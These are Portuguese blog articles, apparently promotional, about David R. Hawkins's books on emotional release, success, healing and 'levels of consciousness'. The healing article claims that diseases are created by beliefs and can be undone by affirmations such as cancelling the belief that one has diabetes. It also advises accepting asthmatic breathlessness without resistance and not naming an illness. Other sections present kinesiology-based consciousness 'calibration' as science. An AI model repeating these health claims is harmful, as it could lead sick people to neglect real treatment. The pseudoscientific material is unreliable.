E como escolhemos aqueles que serão reprimidos ou suprimidos?

Vai depender de nossas crenças e programações conscientes e inconscientes que trazemos conosco principalmente:

  • pelo convívio social,
  • sugeridos pela mídia
  • e aquelas que vieram do nosso meio familiar.

Na supressão, há a consciência de que estamos escondendo algum sentimento e são sentidos como: irritabilidade, mudança de humor, tensão muscular, dores no corpo, má digestão e uma outra infinidade de sintomas somáticos. 

A repressão de um sentimento é inconsciente e existe culpa e medo associados a ele e é mantido na mente através de dois mecanismos:

  1. A projeção – é o mecanismo principal usado no mundo hoje. Todos se transformam em inimigos e isso é que faz surgir a guerra e tantos outros conflitos em nível pessoal e coletivo.
  2. A negação resulta em bloqueios emocionais e interfere no processo da maturidade. Negamos que ele exista dentro de nós e, ao invés de dar vazão a esse sentimento, o projetamos no mundo e nos outros, transferindo para os outros aquilo que está dentro de nós. 

Expressão 

É quando consigo expressar meu sentimento seja verbalmente ou através de gestos e linguagens corporais. Essa exteriorização permite que parte da pressão interna diminua e o quantum restante do sentimento será suprimido. 

A expressão do sentimento não significa que ele seja totalmente liberado, pelo contrário, tende a propagá-lo e dá ainda mais energia a ele. É apenas o transbordo da água do copo para que o restante seja armazenado.

O outro pode vivenciar o despejar de nossos sentimentos negativos como um ataque e agora serão os outros a ter que suprimir, expressar ou fugir dos sentimentos e isso não traz equilíbrio, traz apenas mais destruição e uma cadeia de sofrimento infindável.

Trabalhar com a autorresponsabilidade pelos nossos sentimentos e neutralizá-los é a melhor saída. 

Fuga 

Esse mecanismo é aceito socialmente e é o que nos mantém inconscientes pelo simples medo de lidarmos com nossos sentimentos. 

Evitar e fugir dos sentimentos é o que leva pessoas ao vício, à distração excessiva e e a pilar do trabalho e das estratégias das indústrias de entretenimento e bebidas.

Muita energia é gasta para se manter nesse padrão de comportamento e os sentimentos aprisionados dentro de si. Doenças físicas e emocionais e estagnação são os primeiros resultados desse comportamento. 

Na verdade, o que sustenta a fuga é a incapacidade de amar verdadeiramente, provocando o auto-ódio e isolamento emocional.

Deixar Ir – um método simples que gera o efeito de descompressão 

Com o mecanismo do Deixar Ir a energia por trás do sentimento é rendida e há uma descompressão e os sentimentos ganham leveza, o corpo muda, a pele melhora, a respiração melhora a pressão sanguínea e tantos outros aspectos da saúde surgem como resultado da liberação dos sentimentos que seriam reprimidos, suprimidos, expressados ou fugidios. 

“No estado de liberdade interna, todas as funções do corpo e dos órgãos se movem na direção geral de normalidade e saúde… Sentimo-nos mais felizes e amorosos.” (Dr. David Hawkins) 

“Deixar Ir” é um livro que fala do amor, da nossa capacidade de render a Deus nossos sentimentos, buscando equilíbrio em todas as áreas de nossa vida.

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Os Princípios do Sucesso

Princípios do Sucesso

Em um de nossos últimos artigos sobre o Sucesso falamos sobre aquele “algo” que existe nas pessoas de sucesso. Mas, quais são os princípios do sucesso? Como reconhecê-los?

Que tal agora olharmos para alguns exemplos disso? 

Princípios do Sucesso

Quem nunca esteve num restaurante? 

Esse é o tipo de negócio que acompanhamos com frequência e observamos que existem restaurantes de sucesso fenomenal mas, a taxa de fracasso para esse segmento está na casa de 50%.

Dos 50% que sobrevivem à essa estatística, uma boa parte sobrevive apenas, sem felicidade ou facilidade para tocar o negócio. E, apenas uma pequena parcela deles terá sucesso e despontarão.

Nesses casos, seja o dono do estabelecimento ou os chefs de cozinha atuam de forma criativa, buscando sempre aprender, têm prazer em servir e fazer do local onde trabalham um sucesso, fazendo pratos que surpreendam os clientes e gerando fidelidade.

O que a banda toca? 

Outro exemplo bem interessante que Dr.Hawkins cita em seu livro “O Sucesso é Para Você” é o das bandas musicais que se apresentam em bailes e festas. Algumas conseguem fazer o público participar e estar presente o tempo todo do show, outras no entanto, parecem tocar para si próprias, não se importando muito com o que o público gostaria de ouvir, dançar e cantar. 

O que acontece nesse caso é que a motivação para fazer aquilo que estão fazendo é a sua própria e não a amorosidade no servir, não estão focados em trazer alegria para o público. 

Alguns músicos, contudo, mesmo tendo suas próprias preferências, sabem “ouvir o público”, sentir qual é o apelo deles, qual é o ritmo que o público quer ouvir e acompanham isso. 

Princípios do Sucesso: Saiba observar para obter a resposta

Voltando aos restaurantes, quantas vezes você não voltou a locais apenas para apreciar um prato que te impressionou? E, já imaginou se você chega com essa expectativa e o prato não existe mais? Ou, se o restaurante deixou de servir o café que você tanto apreciava?

Uma das bases do sucesso é saber ouvir o cliente, ser observador, responsivo. Quando a intenção de um negócio está focada apenas no que o proprietário deseja para si e não observa o movimento do seu público, temos aí uma grande possibilidade de fracasso, seja qual for o seu negócio. 

O cliente foi desconsiderado em sua perspectiva e se sente desvalorizado e insatisfeito. Mesmo que esse restaurante seja o único em um determinado tipo de comida, receberá clientes por essa razão e não porque o cliente se sente ouvido e considerado. 

E, o proprietário que não é atento e responsivo às solicitações de seu cliente, mesmo que esteja ganhando financeiramente, deixa escapar a felicidade de estar servindo, e se mantém apenas na sobrevivência. 

Felicidade ou Satisfação? 

É muito importante diferenciar a felicidade da satisfação. 

 “Uma pessoa pode obter satisfação de enfiar e girar uma adaga no coração do outro – isso é satisfação. É improvável que isso resultará em uma vida feliz. Felicidade na vida é como mantemos o sucesso.” (Dr. Hawkins)

Uma ótima analogia é a que se refere a tirar 10 em uma prova colando, um exemplo de satisfação e sobrevivência. Podemos atingir um objetivo, passar em uma matéria, mas e sua autoestima como ficou? 

O sucesso é feito de:

  • autoestima saudável
  • autoconfiança
  • entusiasmo
  • alegria de saber que se tem a própria maestria.

A alegria seria genuína se o estudante tivesse estudado e tirado 10, não pelo esforço, mas por ter agregado algo à sua maestria.

Essa é manifestação do poder pessoal, do sucesso. Não é fruto de uma cópia, mas da minha própria capacidade de criar e ver os resultados.

Princípios do Sucesso: O dinheiro por si só não é prova de sucesso

O lucro que se obtenha com um determinado negócio não é indicativo de felicidade e sucesso.

Todos nós temos exemplos de pessoas que, apesar de ostentarem ótimas condições financeiras, vivenciam o medo, o orgulho, a paranoia, a arrogância entre outros sentimentos que os colocam distantes da felicidade e do sucesso genuíno. 

Quantas histórias de ganhadores de loteria, herdeiros ou celebridades que não conhecemos que perderam tudo? Isso ocorre porque apoiaram-se apenas no ter e não no ser. Perdem negócios, família, cometem abusos, vícios e até mesmo suicídio. 

O sucesso genuíno ressalta a pessoa e não suas posses

O que nos impressiona é aquilo que a pessoa de sucesso verdadeiro é e não o que ela tem. Somos atraídos pelo “algo a mais” que ela possui, é isso que faz nos conectarmos com ela. É aquilo que está presente em suas ações que nos encanta.

“Não é o dinheiro que viraliza e passa de mão, é saber como manifestar dinheiro que viraliza nos outros…ter dinheiro é uma manifestação de uma atitude interna. Pobreza está na sua cabeça, não na sua carteira.” (Dr.Hawkins) 

Se você apoia o sucesso sobre intenções internas verdadeiras, a vida floresce e tudo contribui para o sucesso. Pelo contrário, se as intenções estão baseadas apenas na conquista de posição, dinheiro ou status social, o sucesso não se mantém e leva todas suas ações à destruição da vida. 

Sucesso não está fora, está dentro!

Esse é um aprendizado que está presente durante toda a leitura do livro “O Sucesso é Para Você” do Dr.David Hawkins. Uma leitura que nos esclarece completamente o quanto temos uma noção equivocada de como o sucesso pode acontecer para cada um de nós. 

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Cura e Recuperação: Aprenda o Poder da Autocura!

Cura e Recuperação

“Cura e Recuperação”, e mais um livro do Dr. David R. Hawkins traduzido para o português com exclusividade pela Pandora Editora.

“Healing and Recovery”, ou seja, “Cura e Recuperação” traz um conteúdo fantástico porque fala sobre as verdadeiras causas das doenças físicas e acreditem ou não, a cura das doenças pode estar bem mais próxima do que imaginamos.  

Geralmente acreditamos que a cura das doenças está localizada do lado de fora, em tratamentos conduzidos pela medicina e profissionais especializados, mas e se esse paradigma fosse contrariado? E se a cura estiver dentro de cada ser humano?

Por isso, nesse livro o Dr. Hawkins fala da saúde de forma integral, abordando desde a saúde física, emocional, mental e espiritual e, mais do que isso, que as doenças estão interligadas à forma como vemos o mundo e aos níveis de consciência que temos.

Vamos entender um pouco mais sobre isso?

E o que as doenças, a cura e recuperação têm a ver com os níveis de consciência?

Para aqueles que já acompanham o trabalho do Dr. Hawkins sabem que ele estudou profundamente os níveis de consciência humana e que desenvolveu uma escala onde descreve quais são os estados de cada nível consciencial. A Escala Hawkins está definida de forma didática de 1 até 1000, apenas para categorizar de forma simplificada os estudos.

Segundo o Dr. Hawkins, a capacidade de cura de cada indivíduo está associada ao nível de consciência em que ele se encontra. Por exemplo:

  • Pessoas que transitam por níveis negativos de consciência, que calibram abaixo de 200, têm a tendência de manifestar doenças no corpo físico.
  • Num nível de consciência abaixo de 200 há a tendência de que se apresente sempre um desequilíbrio no mesmo meridiano de acupuntura. Exemplificando: sempre no coração e esse padrão repetido por longo tempo poderá refletir em doenças cardíacas.
  • Pessoas que transitam por níveis positivos de consciência, que calibram acima de 200 e vão até 499 já trazem uma capacidade de cura
  • A partir de 500, onde estão os estados de amor, a capacidade de cura é grande, mesmo para aquelas doenças mais complexas e de gravidade
  • No nível de 540 (amor incondicional), a cura e compaixão, a cura acontece praticamente de forma automática.

Cura e Recuperação: quais são as crenças que você mantém?

Nossa mente é extremamente poderosa e aquilo que mantemos nela tende a se realizar. A questão é que cada mente retém crenças pessoais, adquiridas ao longo da vida e, principalmente, na primeira infância que vai dos 0 aos 7 anos.

Crenças nascem da inocência infantil e se mantêm intactas e, quando compreendemos que a totalidade das pessoas têm atitudes baseadas na inocência, buscando fazer o seu melhor, conseguimos acessar os níveis de compaixão onde a cura acontece.

Esse sistema de crenças tem influência direta em tudo que manifestamos em nossa vida, incluindo a saúde e, por conseguinte, a doença.

Se tivermos em nossa mente a crença de que nossa saúde é frágil e que ficaremos doentes, provavelmente desenvolveremos a doença.

Sim, isso é complexo de se acreditar, mas Hawkins explica que o corpo apenas responde àquilo que a mente cria. O corpo físico não cria a doença, é nosso sistema de crença que o faz. O corpo responde às “determinações” da mente, que responde ao espírito.

A mente cria o que o corpo físico vai experimentar. Os pensamentos, criados pela mente, vão influenciar o corpo.

Então, como combater as doenças?

Se nossa mente tem o poder de criá-las, tem também o poder de descriá-las.

  • Ganhar consciência sobre as crenças que carregamos nos permite deixar para trás aquelas que não nos servem e que são prejudiciais à nossa vida e à nossa saúde, gerando um estado de consciência tal que podemos nos liberar de doenças já existentes ou até mesmo evitar o surgimento de outras.
  • Segundo Hawkins, uma doença está sempre ligada a um sistema de crenças. E, aprofundando ainda mais, muitas doenças têm como base a culpa inconsciente. Por isso, encontrar o sistema de crença, a culpa por trás de uma doença é fundamental para promover a cura.

Cura e Recuperação – combatendo as doenças

Se conseguirmos compreender que nossa mente cria as condições perfeitas para nosso corpo físico desenvolver as doenças, podemos também criar condições para que a doença tenha uma remissão ou nem mesmo apareça. Mas como?

  • Aceite aquilo que a doença traz. Por exemplo: na asma o paciente sente falta de ar. A proposta é que não se resista a isso, apenas aceite que isso acontece e observe, deixando que a energia contida nesse sintoma cumpra o ciclo
  • Aliás, no livro “Deixar Ir”, do mesmo autor, ele explica o mecanismo de deixar ir como forma de aceitar e entregar. A ideia é não pensar na doença e aceitar as sensações físicas que ela traz, sem resistência.
  • Não rotular a doença em nossa mente. Não é preciso classificá-la com nome e sobrenome.
  • Compreender e cancelar o sistema de crença que dá suporte à doença
  • Atuando na escolha do campo de energia do Amor onde a cura é possível.

O cancelamento de crenças

Segundo o Dr. Hawkins é possível cancelar as crenças que identificamos em nós através de afirmações positivas como:

“Eu cancelo a crença de que tenho [diabetes]. Não acredito mais nisso e não estou mais sujeito a isso. Isso é o resultado de um sistema de crenças e eu tenho o poder de cancelá-lo. Sou um ser infinito e só estou sujeito àquilo que mantenho em mente.”

Essas afirmações constroem novos caminhos neurais em nosso cérebro e trabalham no fortalecimento de um novo padrão positivo quando praticadas com consistência e verdade.

Concluindo

Ficar doente é uma maneira de nossa consciência chamar nossa atenção para algo que não estamos observando em nós mesmos. Nesse contexto, ao invés de responsabilizarmos a doença por nosso estado, podemos ser gratos pela dica que ela está nos trazendo: o que preciso observar em mim que ainda não observei?

Algo precisa ser curado não apenas em nosso corpo físico, mas também nos corpos: mental, emocional e espiritual. A cura acontece quando temos a disposição para nos render às energias abaixo de 200.

O livro “Cura e Recuperação” trará uma nova visão sobre nossa saúde e sobre a forma como vimos lidando com nossas emoções e o impacto que isso traz para nosso corpo físico.

Dê uma chance de cura a si mesmo!

*Se quiser conhecer mais sobre os níveis de consciência e das frequências de cada um, aprofunde sua leitura neste artigo. 

“Só estamos sujeitos àquilo que mantemos em mente.” – Dr. David R. Hawkins

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Níveis de Consciência

7 conceitos chave aplicados no estudo dos Níveis de Consciência

No último artigo onde tratamos dos alicerces do desenvolvimento do estudo dos níveis da consciência, realizado pelo Dr. David Hawkins e descrito no livro “Poder vs Força”, vimos que a dinâmica não linear, foi fundamental para a condução da pesquisa. Agora vamos falar de padrões atratores, além de outros conceitos.

Essas são algumas definições um pouco mais complexas, mas importantes para o entendimento e para acompanharmos a proposta que Dr. David R. Hawkins traz em Poder vs. Força.

A ideia deste artigo é dar base científica e lógica para o estudo, que foi feita com maestria por Dr. Hawkins, e ao final te fazer entender como os Níveis de Consciência farão você ter uma vida cada vez mais feliz e abundante!

Vamos então aos 7 conceitos e padrões aplicados nos estudos dos Níveis de Consciência:

1. Dinâmica Não Linear e Padrões Atratores – um padrão identificável

Vamos começar! Vai parecer profundo, mas fará sentido no final.

Quando num estudo surge um padrão identificável em um bloco de dados, que aparentemente não tem um significado, esse padrão parece esconder uma coerência naquilo que parece incoerente.

Tal coerência pode ser demonstrada inicialmente num estudo de computação gráfica feito por Edward Lorenz sobre padrões climáticos em longos períodos.

Tá, mas o que significa isso na prática?

Lembra do “efeito borboleta”? Você provavelmente já ouviu falar ou assistiu ao filme do mesmo nome. A teoria por trás disso é a de que tudo está conectado e que o mínimo movimento exercido num ponto se resulta em movimentos maiores, independente de onde esteja.

Alguns desses padrões se mostram como muito poderosos e outros como mais fracos e o que parece diferenciá-los é o que resulta das chamadas “energia alta ou baixa” da matemática da ligação química.

2. Campos de Dominância – o Domínio da Alta Energia

Chama-se de campo de dominância a apresentação dada por padrões de alta energia e suas influências sobre outros mais fracos.

O universo dos fenômenos se expressa através da interação de padrões atratores sem fim e de forças variáveis.

O que podemos dizer é que os infinitos enredamentos presentes na vida apenas refletem as reverberações intermináveis dos aumentativos e diminutivos desses campos que se compõem de seus harmônicos e de suas outras interações.

Se estiver parecendo muito complexo, fique calmo(a)! Não tente captar tudo com a mente. Continue lendo!

3. O Ponto Crítico – menor força x maior efeito

Dentro do conceito newtoniano todos os dados “não deterministas” são desconsiderados porque estão fora do conceito tradicional de causalidade.

Segundo esse paradigma, o universo está baseado em 3 dimensões de espaço e manifesta processos lineares no tempo, como um relógio gigante.

Nas palavras do Dr. Hawkins, observa-se no funcionamento de um relógio “algumas engrenagens se movem em ritmo lento e pesado, enquanto outras se movem rapidamente, e pêndulos minúsculos se aproximam quando mecanismos de fuga balançam para frente e para trás. Colocar pressão em uma engrenagem grande em movimento teria pouco efeito em todo o mecanismo. Entretanto, em algum lugar há um, mecanismo de equilíbrio delicado a ponto de que o toque mais leve consegue parar todo o dispositivo.”

É isso que se chama de “ponto crítico”: um ponto exato onde a menor força é capaz de exercer o maior efeito.

No entanto, com o surgimento das teorias de Einstein, Heisenberg, Bell e Bohr, o universo se expandiu por meio da demonstração de que tudo é interdependente, tudo interage com todos.  

4. Causalidade

Ponderado o mundo observável, a causalidade fala sobre uma sequência de acontecimentos.

Pense em um jogo de bilhar, onde uma bola bate na outra, que bate na outra e há uma sequência de movimentos onde a primeira bola A causou o movimento da bola B e B causou o movimento da bola C. A isso se dá o nome de sequência linear determinista.

Quando esse mesmo movimento é observado através da dinâmica não linear, nota-se que a causalidade opera de maneira completamente diferente em que ABC se divide em “operantes” e isso se expressa como a sequência aparente de percepção: A, depois B e então C.

O uso analítico da dinâmica não linear considera não só o observável como também o não-observável, como um arco-íris que se configura como uma ponte entre os reinos deterministas e os não deterministas.

A pergunta que um estudo não-determinista se faz é: O que engloba tanto o possível quanto o impossível, o conhecido quanto o desconhecido? Ou seja, quais são todas as possibilidades?

O físico David Bohm cita o “dobrado”- implicações invisíveis quanto o “desdobrado”, manifestações explícitas, algo que já era observado desde o tempo dos sábios iluminados, cujo estado de consciência já vislumbrava essa não linearidade.

5. Padrões Atratores e os estudos das funções do cérebro através dos supercomputadores

O uso dos computadores de inteligência artificial (AI) permitiu a aplicação de teorias da dinâmica não linear nos estudos do cérebro. Essa pesquisa concluiu que as redes neurais do cérebro agem como um sistema de padrões atratores, não se comportando de maneira aleatória.

Os neurônios da consciência revelam os chamados “sistemas de satisfação de restrições” onde uma rede interconectada de unidades de neurônios opera dentro de uma série de limitantes e assim estabelece padrões atratores que correlacionam o comportamento humano à sua fisiologia, demonstrando uma conexão entre o corpo e a mente.

Isso está em linha com os resultados do teste de cinesiologia muscular.

6. A evolução da consciência e o desenvolvimento da sociedade humana

Dr. Hawkins descreveu seu estudo também em termos matemáticos da dinâmica não linear.

Os níveis de consciência foram calibrados de 1 até 1.000 e representam logaritmos na base de 10 e estão relacionados ao poder desses respectivos campos.

  • A graduação de 1 a 600 representa o domínio da grande maioria da experiência humana
  • Os níveis graduados de 600 a 1.000, são o reino da evolução não ordinária, da iluminação, dos sábios e dos estados espirituais mais elevados.

Dentro desse espectro, o estudo vai identificando os poderes progressivos de campos atratores, com algumas variações locais, mas com uma consistência em sua totalidade.

O ponto crítico no estudo dos níveis da consciência parece estar na calibragem de 200 e, abaixo disso

  • Abaixo disso estão os atratores “fracos” ou  “negativos”.
  • Acima de 200 estão os atratores “fortes ou positivos”.

Há que se considerar que a lei da dependência sensível nas condições iniciais, ou seja, ‘o efeito borboleta’ da teoria do caos, é relevante no entendimento da evolução da consciência humana.

Segundo essa lei uma pequena variação ao longo do curso de tempo pode ter o efeito de produzir uma mudança profunda, assim como um navio que apresenta um desvio de um grau de seu compasso pode eventualmente se encontrar a centenas de quilômetros fora do curso.

7. Padrões Atratores poderosos organizam o comportamento humano

A busca pela compreensão da imprevisibilidade do comportamento humano é objeto de estudo desde tempos imemoriais. Compreender o incompreensível fez com que fossem criados infinitos sistemas.

O processo da vida não é lógico e racional, linear, mas é orgânico, não linear e, quando isso não é considerado, traz inevitavelmente uma frustração intelectual.

Nos estudos dos níveis da consciência as respostas não derivaram das crenças ou do conteúdo intelectual humano, mas sim de determinantes importantes como os padrões de campos de energia, aspectos da própria consciência.

Os resultados do estudo indicam que padrões profundamente poderosos organizam o comportamento humano.

Conclusão

Existe um campo atrator poderoso que organiza todo o comportamento humano e é inato à humanidade. Dentro desse mesmo campo, existem outros campos de menor energia e poder que dominam o comportamento e são consistentes através das culturas e do tempo ao longo da história da humanidade.

São as interações dessas variações dentro desses campos atratores que compõem a história da civilização. Falamos em humanidade, mas também existem estudos indicando que esses campos também estão presentes nos reinos animal e vegetal.

O estudo dos níveis de consciência mantêm uma correlação com:

  • As hipóteses dos campos morfogenéticos, estudados por Rubert Shaldrake, biólogo inglês.
  • Com os modelos holográficos das funções do cérebro-mente de Karl Pribram.
  • Com as conclusões de Sir John Eccles de que o cérebro funciona como um aparelho receptor de padrões de energia, existentes na mente que se expressam através do pensamento.

Assunto denso, não é?

Sim! Mas, com certeza, a leitura do livro “Poder vs Força” terá uma visão magnífica da importância dos estudos do Dr. David Hawkins para a compreensão do desenvolvimento da consciência humana e dos aspectos não-deterministas que estão presentes em nossa existência.

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Respostas: Onde Você Busca por Elas?

Respostas

Somos seres questionadores por natureza. Queremos obter respostas para todas nossas dúvidas e problemas. Vivemos buscando respostas.

Mas, será que buscamos por elas no lugar certo? Nossa mente é geralmente o primeiro recurso que usamos para obtê-las.

Observe as perguntas que a mente faz:

  • O que tem de errado com a gente?
  • Sou só eu ou o mundo que está enlouquecendo?
  • Onde estão as respostas?

Aí você obtém algumas respostas, mas percebe que elas apenas aliviam momentaneamente suas dúvidas e a seguir surgem novas questões:

  • A mente humana é uma bagunça, há esperança?
  • Será que Deus sabe o que está fazendo?
  • Está tudo confuso.

A mente tagarela o tempo todo.

Não se preocupe, buscar respostas é um processo humano

É um movimento comum do ser humano buscar respostas nas mais diversas áreas do conhecimento como: ciências, terapias, filosofias, religiões, astrologia, misticismo, enfim, mesmo recorrendo a uma infinidade de possibilidades, a busca por respostas é geralmente infrutífera. Ao final das mais diversas buscas, sentimos que nossas questões ainda não foram respondidas, ainda mantemos a dúvida e novas questões em mente.

A mente parece tagarelar em qualquer lugar que se procure uma solução.

Algumas pessoas tendem a banalizar os questionamentos da vida dizendo que ela é simples e que não entendem o porquê de tantas dúvidas. Na verdade, podem estar negando o próprio medo de enxergar a tudo isso. Especialistas sofisticam as questões e tentam catalogar crenças e respostas.

A verdade é que o ser humano busca conhecimento, tratamento, frequenta terapias, escolas, cursos, muda nutrição, entre tantas alternativas que podemos citar, sempre com o intuito de obter respostas, numa busca incansável e interminável.

Uma procura incansável por respostas

O que move o ser humano nessa direção? A esperança? O que o motiva a continuar buscando?

Onde está o nosso ponto cego? Por que não conseguimos encontrar a resposta?

Talvez porque:

  • ela seja muito simples
  • buscamos fora o que está dentro
  • mantemos muitos sistemas de crenças e nos tornamos cegos para o óbvio

Não conseguimos respostas porque não entendemos o problema

Qual é o segredo daqueles que conseguiram obter respostas?

Muitos caminhos espirituais são seguidos por multidões, mas poucos percebem a verdade última. E, por que isso não funciona? Por que quebramos a cara?

  • O ego entra em ação rapidamente e somos pegos pelo orgulho e a presunção achando que sabemos a resposta

Segundo Dr. Hawkins, devemos nos afastar daqueles que têm respostas, que se dizem justos e bons samaritanos.

“Confusão é nossa salvação. Para o confuso ainda há esperança. Mantenha-se em sua confusão. No fim ela é sua melhor amiga, sua melhor defesa contra a verdade absoluta das respostas dos outros, contra o ser oprimido por suas ideias. Se você está confuso, você ainda está livre!”

Dr. David Hawkins

Como alcançar a clareza e transcender os problemas?

Dr. Hawkins sugere que não se busque a resposta, mas que se procure desfazer a base do problema. As soluções e respostas encontram-se dentro de nós através de recursos disponíveis a todos, indistintamente.

“Conhece a ti mesmo”

“A verdade te libertará”

“O Reino de Deus está dentro de você.”

Tudo o que precisamos para solucionar qualquer questão já está dentro de nós, ninguém poderá nos roubar isso. E é a certeza da posse desse conhecimento interior, inconsciente, que sempre esteve dentro de nós que levou o professor Hawkins a descrever o mecanismo simples do “deixar ir”.

A prática desse mecanismo é capaz de processar mudanças notáveis. São esses conhecimentos que os Grandes Mestres nos trouxeram e que estamos há tanto tempo tentando compreendê-los.

A partir do momento em que compreendemos o mecanismo e o aplicamos em nossa vida, vamos nos sentindo mais livres, como se um peso saísse de nossas costas.

Um método simples e palpável

A partir do momento que conheça o método e passe a usá-lo, parecerá algo tão simples que talvez você até desconfie. Dr. Hawkins prefere que tenhamos exatamente essa postura:

“Melhor que euforia, uma observação silenciosa vai servir-lhe melhor.”

Deixar ir é uma metodologia que sugere apenas que redescubra aquilo que está dentro de você, que sempre foi seu, que emerge de sua própria natureza.

Por que compartilhar isso?

Pelo simples fato de colocar todos em contato com seus próprios sentimentos e experiências internas. Deixar ir significa rendição e ela virá automaticamente, pois buscar alívio a dor, ao sofrimento é algo natural que leva à experiência da felicidade maior.

No próximo artigo vamos descrever mais detalhadamente o processo descrito no livro “Deixar Ir”, da rendição que está em todos nós.